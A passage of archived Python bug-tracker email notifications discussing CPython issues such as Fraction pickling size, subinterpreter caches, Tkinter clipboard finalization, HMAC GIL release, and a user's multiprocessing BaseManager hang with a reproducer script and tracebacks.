May 2021 02:08:33 +0000 Subject: [issue44151] Improve parameter names and return value ordering for linear_regression In-Reply-To: <1621194509.14.0.657666659025.issue44151@roundup.psfhosted.org> Message-ID: <1621217313.22.0.156921322393.issue44151@roundup.psfhosted.org> Matt Harrison added the comment: And by "if your model is in the correct layout", I meant "if your data is in the correct layout" ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 23:52:59 2021 From: report at bugs.python.org (Miki Tebeka) Date: Mon, 17 May 2021 03:52:59 +0000 Subject: [issue44151] Improve parameter names and return value ordering for linear_regression In-Reply-To: <1621194509.14.0.657666659025.issue44151@roundup.psfhosted.org> Message-ID: <1621223579.35.0.945949046315.issue44151@roundup.psfhosted.org> Miki Tebeka added the comment: I'm +1 on the changes proposed by Raymond. In my teaching experience most developers who will use the built-in statistics package will have highschool level math experience. On the other hand, they'll probably to Wikipedia and the entry there uses dependent variable and regressor (https://en.wikipedia.org/wiki/Linear_regression#Introduction) On the third hand :) scipy (https://docs.scipy.org/doc/scipy/reference/generated/scipy.stats.linregress.html) uses slope and intercept. I thin "Line" is a good name for the result. ---------- nosy: +tebeka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 23:58:34 2021 From: report at bugs.python.org (Sergey B Kirpichev) Date: Mon, 17 May 2021 03:58:34 +0000 Subject: [issue44154] Optimize Fraction pickling Message-ID: <1621223914.12.0.379949005457.issue44154@roundup.psfhosted.org> New submission from Sergey B Kirpichev : The current version of the Fraction.__reduce__() method uses str(), which produces bigger dumps, esp. for large components. C.f.: >>> import random, pickle >>> from fractions import Fraction as F >>> random.seed(1); a = F(*random.random().as_integer_ratio()) >>> for proto in range(pickle.HIGHEST_PROTOCOL + 1): ... print(len(pickle.dumps(a, proto))) ... 71 70 71 71 77 77 >>> b = a**13 >>> for proto in range(pickle.HIGHEST_PROTOCOL + 1): ... print(len(pickle.dumps(b, proto))) ... 444 443 444 444 453 453 vs the attached patch: >>> for proto in range(pickle.HIGHEST_PROTOCOL + 1): ... print(len(pickle.dumps(a, proto))) ... 71 68 49 49 59 59 >>> for proto in range(pickle.HIGHEST_PROTOCOL + 1): ... print(len(pickle.dumps(b, proto))) ... 444 441 204 204 214 214 Testing for non-default protocols was also added. Let me know if all this does make sense as a PR. ---------- components: Library (Lib) files: fractions-pickle.diff keywords: patch messages: 393781 nosy: Sergey.Kirpichev priority: normal severity: normal status: open title: Optimize Fraction pickling versions: Python 3.11 Added file: https://bugs.python.org/file50047/fractions-pickle.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 00:20:24 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Mon, 17 May 2021 04:20:24 +0000 Subject: [issue44154] Optimize Fraction pickling In-Reply-To: <1621223914.12.0.379949005457.issue44154@roundup.psfhosted.org> Message-ID: <1621225224.93.0.0664789614648.issue44154@roundup.psfhosted.org> Raymond Hettinger added the comment: Yes, this looks reasonable. Go ahead with a PR. ---------- assignee: -> rhettinger nosy: +rhettinger type: -> performance _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 00:26:24 2021 From: report at bugs.python.org (Sergey B Kirpichev) Date: Mon, 17 May 2021 04:26:24 +0000 Subject: [issue44154] Optimize Fraction pickling In-Reply-To: <1621223914.12.0.379949005457.issue44154@roundup.psfhosted.org> Message-ID: <1621225584.32.0.518825518542.issue44154@roundup.psfhosted.org> Change by Sergey B Kirpichev : ---------- pull_requests: +24803 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26186 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 00:38:31 2021 From: report at bugs.python.org (Tim Peters) Date: Mon, 17 May 2021 04:38:31 +0000 Subject: [issue44154] Optimize Fraction pickling In-Reply-To: <1621223914.12.0.379949005457.issue44154@roundup.psfhosted.org> Message-ID: <1621226311.58.0.879752396814.issue44154@roundup.psfhosted.org> Tim Peters added the comment: Oh yes - please do. It's not just pickle size - going through str() makes (un)pickling quadratic time in both directions if components are large. Pickle the component ints instead, and the more recent pickle protocol(s) can do both directions in linear time instead. ---------- nosy: +tim.peters _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 00:56:31 2021 From: report at bugs.python.org (Sergey B Kirpichev) Date: Mon, 17 May 2021 04:56:31 +0000 Subject: [issue44154] Optimize Fraction pickling In-Reply-To: <1621223914.12.0.379949005457.issue44154@roundup.psfhosted.org> Message-ID: <1621227391.08.0.393685018724.issue44154@roundup.psfhosted.org> Sergey B Kirpichev added the comment: > Oh yes - please do. Ok, I did. > It's not just pickle size - going through str() makes (un)pickling quadratic time in both directions if components are large. Yeah, I noticed speedup too, but size was much more important for may application. BTW, the same issue affects some other stdlib modules, ex. in the Decimal() it will be more efficient to use the tuple (sign, digit_tuple, exponent) instead of dumping strings. Maybe more, simple fgrep suggests me also the ipaddress module, but I think here it's ok;-) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 01:50:14 2021 From: report at bugs.python.org (Dennis Sweeney) Date: Mon, 17 May 2021 05:50:14 +0000 Subject: [issue36876] [subinterpreters] Global C variables are a problem In-Reply-To: <1557514902.13.0.853517754348.issue36876@roundup.psfhosted.org> Message-ID: <1621230614.37.0.980159458935.issue36876@roundup.psfhosted.org> Dennis Sweeney added the comment: I'm getting the following FutureWarning on a certain regular expression. I think it just needs "[]" to become "\[\]". 0:05:36 load avg: 0.00 [ 53/427] test_check_c_globals ...\Tools\c-analyzer\c_common\tables.py:236: FutureWarning: Possible nested set at position 12 _COLSPEC_RE = re.compile(textwrap.dedent(r''' ---------- nosy: +Dennis Sweeney _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 02:36:25 2021 From: report at bugs.python.org (Christian Heimes) Date: Mon, 17 May 2021 06:36:25 +0000 Subject: [issue42834] [subinterpreters] Make static caches in various places subinterpreter compatible In-Reply-To: <1609862045.06.0.177130417143.issue42834@roundup.psfhosted.org> Message-ID: <1621233385.22.0.502760970757.issue42834@roundup.psfhosted.org> Christian Heimes added the comment: KJ, please create a new bug for compile.c. bpo's are cheap to create. ---------- nosy: +christian.heimes resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 02:36:38 2021 From: report at bugs.python.org (Christian Heimes) Date: Mon, 17 May 2021 06:36:38 +0000 Subject: [issue42834] [subinterpreters] Convert "global" static variable caches in _json to heap variables In-Reply-To: <1609862045.06.0.177130417143.issue42834@roundup.psfhosted.org> Message-ID: <1621233398.46.0.100331754129.issue42834@roundup.psfhosted.org> Change by Christian Heimes : ---------- title: [subinterpreters] Make static caches in various places subinterpreter compatible -> [subinterpreters] Convert "global" static variable caches in _json to heap variables _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 02:59:17 2021 From: report at bugs.python.org (STINNER Victor) Date: Mon, 17 May 2021 06:59:17 +0000 Subject: [issue40521] [subinterpreters] Make free lists and unicode caches per-interpreter In-Reply-To: <1588693682.5.0.219755904926.issue40521@roundup.psfhosted.org> Message-ID: <1621234757.73.0.243876153753.issue40521@roundup.psfhosted.org> STINNER Victor added the comment: > I reopen the issue to remind me that collections.deque() freelist is shared by all interpreters. Each deque instance now has its own free list. But dtoa.c still has a per-process cache, shared by all interpreters. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 03:23:42 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 17 May 2021 07:23:42 +0000 Subject: [issue40452] Tkinter/IDLE: preserve clipboard on closure In-Reply-To: <1588268147.56.0.852233274654.issue40452@roundup.psfhosted.org> Message-ID: <1621236222.02.0.836394052615.issue40452@roundup.psfhosted.org> Serhiy Storchaka added the comment: What if register Tcl_Finalize as an atexit callback? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 03:33:04 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Mon, 17 May 2021 07:33:04 +0000 Subject: [issue33433] ipaddress is_private misleading for IPv4 mapped IPv6 addresses In-Reply-To: <1525527294.14.0.682650639539.issue33433@psf.upfronthosting.co.za> Message-ID: <1621236784.5.0.84503979773.issue33433@roundup.psfhosted.org> Gregory P. Smith added the comment: Questionable as to if this counts as a bug or not, but I agree it is counter-intuitive given the purpose of actually checking the .is_private property of an address. So updating the behavior makes sense, but I'll be conservative w.r.t. behavior changes and not apply this to a 3.9 or earlier. ---------- nosy: +gregory.p.smith type: -> enhancement versions: +Python 3.10, Python 3.11 -Python 3.4, Python 3.5, Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 03:35:30 2021 From: report at bugs.python.org (miss-islington) Date: Mon, 17 May 2021 07:35:30 +0000 Subject: [issue44145] hmac.update is not releasing the GIL when openssl's hmac is used In-Reply-To: <1621148044.4.0.215662666673.issue44145@roundup.psfhosted.org> Message-ID: <1621236930.22.0.958999790865.issue44145@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24805 pull_request: https://github.com/python/cpython/pull/26188 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 03:35:25 2021 From: report at bugs.python.org (miss-islington) Date: Mon, 17 May 2021 07:35:25 +0000 Subject: [issue44145] hmac.update is not releasing the GIL when openssl's hmac is used In-Reply-To: <1621148044.4.0.215662666673.issue44145@roundup.psfhosted.org> Message-ID: <1621236925.38.0.989760000656.issue44145@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 2.0 -> 3.0 pull_requests: +24804 pull_request: https://github.com/python/cpython/pull/26187 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 03:52:44 2021 From: report at bugs.python.org (miss-islington) Date: Mon, 17 May 2021 07:52:44 +0000 Subject: [issue33433] ipaddress is_private misleading for IPv4 mapped IPv6 addresses In-Reply-To: <1525527294.14.0.682650639539.issue33433@psf.upfronthosting.co.za> Message-ID: <1621237964.94.0.769642760028.issue33433@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 3.0 -> 4.0 pull_requests: +24806 pull_request: https://github.com/python/cpython/pull/26189 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 03:54:34 2021 From: report at bugs.python.org (Tal Einat) Date: Mon, 17 May 2021 07:54:34 +0000 Subject: [issue40452] Tkinter/IDLE: preserve clipboard on closure In-Reply-To: <1588268147.56.0.852233274654.issue40452@roundup.psfhosted.org> Message-ID: <1621238074.3.0.279450414179.issue40452@roundup.psfhosted.org> Tal Einat added the comment: > What if register Tcl_Finalize as an atexit callback? Precisely that was tried a long time ago (2002?) and decided against, as can be seen by the comment left behind at the end of _tkinter.c: #if 0 /* This was not a good idea; through bindings, Tcl_Finalize() may invoke Python code but at that point the interpreter and thread state have already been destroyed! */ Py_AtExit(Tcl_Finalize); #endif ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 04:04:04 2021 From: report at bugs.python.org (miss-islington) Date: Mon, 17 May 2021 08:04:04 +0000 Subject: [issue44145] hmac.update is not releasing the GIL when openssl's hmac is used In-Reply-To: <1621148044.4.0.215662666673.issue44145@roundup.psfhosted.org> Message-ID: <1621238644.87.0.303732347578.issue44145@roundup.psfhosted.org> miss-islington added the comment: New changeset 60fa8b32dbfe452b81c44d2b8a96325fb19a206d by Miss Islington (bot) in branch '3.10': bpo-44145: Release the GIL around HMAC_Update. (GH-26157) https://github.com/python/cpython/commit/60fa8b32dbfe452b81c44d2b8a96325fb19a206d ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 04:07:56 2021 From: report at bugs.python.org (miss-islington) Date: Mon, 17 May 2021 08:07:56 +0000 Subject: [issue44145] hmac.update is not releasing the GIL when openssl's hmac is used In-Reply-To: <1621148044.4.0.215662666673.issue44145@roundup.psfhosted.org> Message-ID: <1621238876.94.0.171115722227.issue44145@roundup.psfhosted.org> miss-islington added the comment: New changeset 2057ce87498fc30bcd358286175fe5ea34eac9da by Miss Islington (bot) in branch '3.9': [3.9] bpo-44145: Release the GIL around HMAC_Update. (GH-26157) (GH-26188) https://github.com/python/cpython/commit/2057ce87498fc30bcd358286175fe5ea34eac9da ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 04:08:42 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Mon, 17 May 2021 08:08:42 +0000 Subject: [issue43650] MemoryError on zip.read in shutil._unpack_zipfile In-Reply-To: <1616966483.79.0.479664444023.issue43650@roundup.psfhosted.org> Message-ID: <1621238922.32.0.946028591349.issue43650@roundup.psfhosted.org> Change by Gregory P. Smith : ---------- assignee: -> gregory.p.smith nosy: +gregory.p.smith type: crash -> resource usage versions: +Python 3.10, Python 3.11 -Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 04:13:34 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Mon, 17 May 2021 08:13:34 +0000 Subject: [issue44107] HTTPServer can't close http client completely In-Reply-To: <1620727659.65.0.182288383134.issue44107@roundup.psfhosted.org> Message-ID: <1621239214.03.0.481120458483.issue44107@roundup.psfhosted.org> Gregory P. Smith added the comment: Python is calling close() after the HTTP/1.0 request. This isn't a bug on the CPython side. ---------- nosy: +gregory.p.smith resolution: remind -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 04:19:41 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 17 May 2021 08:19:41 +0000 Subject: [issue40452] Tkinter/IDLE: preserve clipboard on closure In-Reply-To: <1588268147.56.0.852233274654.issue40452@roundup.psfhosted.org> Message-ID: <1621239581.38.0.404354845212.issue40452@roundup.psfhosted.org> Serhiy Storchaka added the comment: That comment may be outdated. The atexit callbacks are called very early at the interpreter shutdown stage. The interpreter is still entirely intact at this point. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 04:28:29 2021 From: report at bugs.python.org (miss-islington) Date: Mon, 17 May 2021 08:28:29 +0000 Subject: [issue43650] MemoryError on zip.read in shutil._unpack_zipfile In-Reply-To: <1616966483.79.0.479664444023.issue43650@roundup.psfhosted.org> Message-ID: <1621240109.98.0.980260568162.issue43650@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 4.0 -> 5.0 pull_requests: +24807 pull_request: https://github.com/python/cpython/pull/26190 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 04:28:35 2021 From: report at bugs.python.org (miss-islington) Date: Mon, 17 May 2021 08:28:35 +0000 Subject: [issue43650] MemoryError on zip.read in shutil._unpack_zipfile In-Reply-To: <1616966483.79.0.479664444023.issue43650@roundup.psfhosted.org> Message-ID: <1621240115.27.0.183001600767.issue43650@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24808 pull_request: https://github.com/python/cpython/pull/26191 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 04:32:53 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Mon, 17 May 2021 08:32:53 +0000 Subject: [issue44148] Raise a SystemError if frame is NULL in PyEval_GetGlobals In-Reply-To: <1621179289.64.0.106225971367.issue44148@roundup.psfhosted.org> Message-ID: <1621240373.38.0.96945662896.issue44148@roundup.psfhosted.org> Change by Shreyan Avigyan : ---------- stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 04:44:45 2021 From: report at bugs.python.org (Tal Einat) Date: Mon, 17 May 2021 08:44:45 +0000 Subject: [issue40452] Tkinter/IDLE: preserve clipboard on closure In-Reply-To: <1588268147.56.0.852233274654.issue40452@roundup.psfhosted.org> Message-ID: <1621241085.88.0.46934163132.issue40452@roundup.psfhosted.org> Tal Einat added the comment: Wow, I'm very surprised! Simply uncommenting that works perfectly on Ubuntu 20.04 and Windows 10. I'll make a new PR... ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 04:50:27 2021 From: report at bugs.python.org (David Chen) Date: Mon, 17 May 2021 08:50:27 +0000 Subject: [issue44155] Race condition when using multiprocessing BaseManager and Pool in Python3 Message-ID: <1621241427.13.0.989266632434.issue44155@roundup.psfhosted.org> New submission from David Chen : could someone help me out? i spent a lot of time to debug a race condition i have encountered when using BaseManager, Pool within multiprocessing library. here is the simplified code: ``` import sys, time from multiprocessing.managers import BaseManager, SyncManager, BaseProxy from multiprocessing import Process, cpu_count, Pool, Lock, get_context from multiprocessing.queues import Queue, JoinableQueue import queue class QueueManager(BaseManager): pass class Singleton: ''' Decorator class for singleton pattern. ''' def __init__(self, cls): self._cls = cls self._lock = Lock() self._instance = {} def __call__(self, *args, **kwargs): if self._cls not in self._instance: with self._lock: self._instance[self._cls] = self._cls(*args, **kwargs) return self._instance[self._cls] def getInstance(self): return self._instance[self._cls] class LoggingServer(object): def __init__(self, address, pwd): self.logServerAddr = address self.logServerPwd = pwd self.msgQueue = queue.Queue() try: QueueManager.register('getQueue', callable=lambda: self.msgQueue) self.queueManager = QueueManager(address = self.logServerAddr, authkey = self.logServerPwd) self.logServer = self.queueManager.get_server() self.logServer.serve_forever() except: raise RuntimeError("Couldn't start the logging server!") class LoggingProcess(object): def __init__(self, address, pwd): self.logServerAddr = address self.logServerPwd = pwd try: QueueManager.register('getQueue') self.queueManager = QueueManager(address = self.logServerAddr, authkey = self.logServerPwd) self.queueManager.connect() except: raise RuntimeError("Couldn't connect logging process to the logging server!") self.msgQueue = self.queueManager.getQueue() self.process = Process(target=self.loggingProcess, name = "Logging Process", args=(), daemon = True) self.process.start() def terminate(self): self.msgQueue.join() self.process.terminate() def loggingProcess(self): while True: logObj = self.msgQueue.get() print(logObj) @Singleton class Logger(object): def __init__(self, address, pwd): self.logServerAddr = address self.logServerPwd = pwd self.queueManager = None self.msgQueue = None def connectToLogServer(self): try: QueueManager.register('getQueue') self.queueManager = QueueManager(address = self.logServerAddr, authkey = self.logServerPwd) self.queueManager.connect() self.msgQueue = self.queueManager.getQueue() self.ready = True except: raise RuntimeError("Couldn't connect logger to Log Server!") def ReadyCheck(func): def makeDecorator(self, *args, **kwargs): if not self.msgQueue: self.connectToLogServer() func(self, *args, **kwargs) return makeDecorator # Overrided function to log info @ReadyCheck def info(self, info, logfile = sys.stdout): self.msgQueue.put(info) address = ('', 50000) password = b'PASSWORD' log = Logger(address, password) def callback(*args): #print("Finished!!!") pass def job(index): time.sleep(0.1) log.info(str(log.msgQueue) + ":{}".format(index)) log.info("here {}".format(index)) if __name__ == "__main__": # import multiprocessing # logger = multiprocessing.log_to_stderr() # logger.setLevel(multiprocessing.SUBDEBUG) serverProcess = Process(target = LoggingServer, name = "LoggingServerDaemon", args = ((address, password)), daemon = True) serverProcess.start() time.sleep(1) loggingProcess = LoggingProcess(address, password) log.info("Starting...") #pool = Pool(cpu_count()) pool = Pool() #Using a small number of worker(like 10), no problem, but if we increase to a bigger number, say 48 in my case, this program hangs every time... results = [pool.apply_async(job, (i,), callback = callback) for i in range(1)] pool.close() pool.join() log.info("Done") #loggingProcess.terminate() #serverProcess.terminate() ``` LoggerServer class is working as a logging Server(like a proxy), which manages a shared queue. LoggingProcess class is a log consumer class, which fetch the logs from the shared queue(managed by LoggingServer). Logger class is a producer class, which put the logs into the shared queue. As i want to share the global logger in multiple modules in order to unify the logs format/output places/...(something like the logging standard library), so the Logger class is not fully initialized and will be fully initialized later when using it(please see connectToLogServer). and i highly suspect this is root cause of program hang, but i can't go further... the hang sub-process's(ForkPoolWorker) traceback is like the following(using py-spy): ``` Process 3958088: python3 Logger.py Python v3.9.0 (/usr/bin/python3.9) Thread 3958088 (idle): "MainThread" _recv (/usr/lib/python3.9/multiprocessing/connection.py:384) _recv_bytes (/usr/lib/python3.9/multiprocessing/connection.py:419) recv_bytes (/usr/lib/python3.9/multiprocessing/connection.py:221) answer_challenge (/usr/lib/python3.9/multiprocessing/connection.py:757) Client (/usr/lib/python3.9/multiprocessing/connection.py:513) _decref (/usr/lib/python3.9/multiprocessing/managers.py:861) __call__ (/usr/lib/python3.9/multiprocessing/util.py:224) _run_finalizers (/usr/lib/python3.9/multiprocessing/util.py:300) _exit_function (/usr/lib/python3.9/multiprocessing/util.py:334) _bootstrap (/usr/lib/python3.9/multiprocessing/process.py:318) _launch (/usr/lib/python3.9/multiprocessing/popen_fork.py:71) __init__ (/usr/lib/python3.9/multiprocessing/popen_fork.py:19) _Popen (/usr/lib/python3.9/multiprocessing/context.py:277) start (/usr/lib/python3.9/multiprocessing/process.py:121) _repopulate_pool_static (/usr/lib/python3.9/multiprocessing/pool.py:326) _repopulate_pool (/usr/lib/python3.9/multiprocessing/pool.py:303) __init__ (/usr/lib/python3.9/multiprocessing/pool.py:212) Pool (/usr/lib/python3.9/multiprocessing/context.py:119) (/slowfs/cn59sig01/usr/zhuoc/work/qualification-kit/reproducer/Logger.py:129) ``` it seems the refcount of the shared queue failed to be decref... I googled a lot stuffs, but none seems to be the same with this... so i bring this issue here for help. Any comments and suggestions are highly appreciated! Traceback after CTRL+C: ``` raceback (most recent call last): File "/slowfs/cn59sig01/usr/zhuoc/work/qualification-kit/reproducer/Logger.py", line 43, in __init__ self.logServer.serve_forever() File "/usr/lib/python3.9/multiprocessing/managers.py", line 183, in serve_forever sys.exit(0) SystemExit: 0 During handling of the above exception, another exception occurred: Traceback (most recent call last): Traceback (most recent call last): File "/usr/lib/python3.9/multiprocessing/process.py", line 315, in _bootstrap self.run() File "/usr/lib/python3.9/multiprocessing/process.py", line 315, in _bootstrap self.run() File "/usr/lib/python3.9/multiprocessing/process.py", line 108, in run self._target(*self._args, **self._kwargs) File "/slowfs/cn59sig01/usr/zhuoc/work/qualification-kit/reproducer/Logger.py", line 68, in loggingProcess logObj = self.msgQueue.get() File "", line 2, in get File "/usr/lib/python3.9/multiprocessing/managers.py", line 809, in _callmethod kind, result = conn.recv() File "/usr/lib/python3.9/multiprocessing/connection.py", line 255, in recv buf = self._recv_bytes() File "/usr/lib/python3.9/multiprocessing/connection.py", line 419, in _recv_bytes buf = self._recv(4) File "/usr/lib/python3.9/multiprocessing/connection.py", line 384, in _recv chunk = read(handle, remaining) KeyboardInterrupt File "/usr/lib/python3.9/multiprocessing/process.py", line 108, in run self._target(*self._args, **self._kwargs) File "/slowfs/cn59sig01/usr/zhuoc/work/qualification-kit/reproducer/Logger.py", line 45, in __init__ raise RuntimeError("Couldn't start the logging server!") RuntimeError: Couldn't start the logging server! ``` ---------- components: Library (Lib) messages: 393796 nosy: chenzhuowansui priority: normal severity: normal status: open title: Race condition when using multiprocessing BaseManager and Pool in Python3 type: behavior versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 04:55:40 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 17 May 2021 08:55:40 +0000 Subject: [issue40452] Tkinter/IDLE: preserve clipboard on closure In-Reply-To: <1588268147.56.0.852233274654.issue40452@roundup.psfhosted.org> Message-ID: <1621241740.39.0.478344063185.issue40452@roundup.psfhosted.org> Serhiy Storchaka added the comment: It was commented out in commit 43ff8683fe68424b9c179ee4970bb865e11036d6 Author: Guido van Rossum Date: Tue Jul 14 18:02:13 1998 +0000 Temporarily get rid of the registration of Tcl_Finalize() as a low-level Python exit handler. This can attempt to call Python code at a point that the interpreter and thread state have already been destroyed, causing a Bus Error. Given the intended use of Py_AtExit(), I'm not convinced that it's a good idea to call it earlier during Python's finalization sequence... (Although this is the only use for it in the entire distribution.) Maybe Guido remember more details about reproducing a Bus Error. Was it an issue from the other side, when the Tcl/Tk interpreter was used after calling Tcl_Finalize()? ---------- nosy: +gvanrossum _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 05:02:25 2021 From: report at bugs.python.org (E. Paine) Date: Mon, 17 May 2021 09:02:25 +0000 Subject: [issue40452] Tkinter/IDLE: preserve clipboard on closure In-Reply-To: <1588268147.56.0.852233274654.issue40452@roundup.psfhosted.org> Message-ID: <1621242145.55.0.0347451415141.issue40452@roundup.psfhosted.org> E. Paine added the comment: > Simply uncommenting that works perfectly on Ubuntu 20.04 and Windows 10. I can't remember the details, but I don't think this worked if the Tcl interpreter had been garbage collected before the Python interpreter shutdown. Therefore, Tcl_Finalize (or similar) would preferably be called at Tkapp dealloc, but we cannot do that because the user may create more interpreters later. I will try and give a reproducible example when I have time. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 05:13:58 2021 From: report at bugs.python.org (=?utf-8?q?J=C3=BCrgen_Gmach?=) Date: Mon, 17 May 2021 09:13:58 +0000 Subject: [issue44086] py.svg not found on search result page In-Reply-To: <1620547772.17.0.508053866958.issue44086@roundup.psfhosted.org> Message-ID: <1621242838.72.0.559441262786.issue44086@roundup.psfhosted.org> J?rgen Gmach added the comment: I was not aware there is a dedicated project for the sphinx theme. I created an issue at https://github.com/python/python-docs-theme/issues/80 Let's close this here. ---------- stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 05:34:25 2021 From: report at bugs.python.org (Ken Jin) Date: Mon, 17 May 2021 09:34:25 +0000 Subject: [issue44156] [subinterpreters] Replace static string caches with subinterpreter-compatible alternatives Message-ID: <1621244065.25.0.526859274821.issue44156@roundup.psfhosted.org> New submission from Ken Jin : Hello, this is a meta issue for replacing cached string constants in various places with alternatives compatible with subinterpreters such as _Py_IDENTIFIER. Ideally the replacements should not cause any performance regression. But to be safe I would recommend starting in places that aren't "hot". A list of such caches can be found via a tool created by Eric: https://www.github.com/python/cpython/tree/main/Tools%2Fc-analyzer. Thanks everyone! ---------- messages: 393800 nosy: eric.snow, kj, vstinner priority: normal severity: normal status: open title: [subinterpreters] Replace static string caches with subinterpreter-compatible alternatives versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 05:36:06 2021 From: report at bugs.python.org (Ken Jin) Date: Mon, 17 May 2021 09:36:06 +0000 Subject: [issue42834] [subinterpreters] Convert "global" static variable caches in _json to heap variables In-Reply-To: <1609862045.06.0.177130417143.issue42834@roundup.psfhosted.org> Message-ID: <1621244166.1.0.234375481091.issue42834@roundup.psfhosted.org> Ken Jin added the comment: Hi Christian and Victor, thanks for the advice! Points taken. I'll keep in mind to create a new issue for similar things in the future so things are less confusing for everyone. The new issue for this is Issue44156. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 05:36:42 2021 From: report at bugs.python.org (Ken Jin) Date: Mon, 17 May 2021 09:36:42 +0000 Subject: [issue44156] [subinterpreters] Replace static string caches with subinterpreter-compatible alternatives In-Reply-To: <1621244065.25.0.526859274821.issue44156@roundup.psfhosted.org> Message-ID: <1621244202.4.0.791020692919.issue44156@roundup.psfhosted.org> Change by Ken Jin : ---------- keywords: +patch pull_requests: +24809 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26161 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 05:53:44 2021 From: report at bugs.python.org (Sergey B Kirpichev) Date: Mon, 17 May 2021 09:53:44 +0000 Subject: [issue44154] Optimize Fraction pickling In-Reply-To: <1621223914.12.0.379949005457.issue44154@roundup.psfhosted.org> Message-ID: <1621245224.97.0.503623173699.issue44154@roundup.psfhosted.org> Sergey B Kirpichev added the comment: Not sure why this wasn't closed after pr merging. If this was intentional - let me know and reopen. I'm less sure if something like this will work for a Decimal(). Perhaps, if the constructor will accept an integer as the value[1], not just a tuple of digits. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 05:53:33 2021 From: report at bugs.python.org (Mark Shannon) Date: Mon, 17 May 2021 09:53:33 +0000 Subject: [issue39394] re: DeprecationWarning for `flag not at the start of expression` is cutoff too early In-Reply-To: <1579517044.97.0.328160626256.issue39394@roundup.psfhosted.org> Message-ID: <1621245213.31.0.370421956495.issue39394@roundup.psfhosted.org> Mark Shannon added the comment: I have to admit that I find the truncated version more readable. Some sort of truncation is useful, as a regex could be thousands of character long. Adding the offset to the warning message seems like a useful addition. ---------- nosy: +Mark.Shannon _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 07:01:50 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Mon, 17 May 2021 11:01:50 +0000 Subject: [issue40452] Tkinter/IDLE: preserve clipboard on closure In-Reply-To: <1588268147.56.0.852233274654.issue40452@roundup.psfhosted.org> Message-ID: <1621249310.29.0.229710641732.issue40452@roundup.psfhosted.org> Terry J. Reedy added the comment: Tcl_Finalize can be called more than once, says the tcl doc. It also says it, or T_FThread should be called when unloading. If the tcl implementation on some system does not match the doc, then there is a bug that should be reported. If the registration is done by tkinter, rather than IDLE, then all tkinter apps benefit. ---------- versions: +Python 3.8 -Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 07:47:01 2021 From: report at bugs.python.org (Tal Einat) Date: Mon, 17 May 2021 11:47:01 +0000 Subject: [issue40452] Tkinter/IDLE: preserve clipboard on closure In-Reply-To: <1588268147.56.0.852233274654.issue40452@roundup.psfhosted.org> Message-ID: <1621252021.92.0.273430174343.issue40452@roundup.psfhosted.org> Tal Einat added the comment: > Tcl_Finalize can be called more than once, says the tcl doc. I take that to mean that when calling Tcl_Finalize more than once, the second and following calls will do nothing rather than crash the process, corrupt memory etc. The Tcl docs are quite clear that Tcl is no longer usable after calling Tcl_Finalize. Therefore, E. Paine's latest comment appears to be correct in the sense that we can't call Tcl_Finalize when cleaning up a tkinter.Tk instance. The same goes for Tcl_FinalizeThread. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 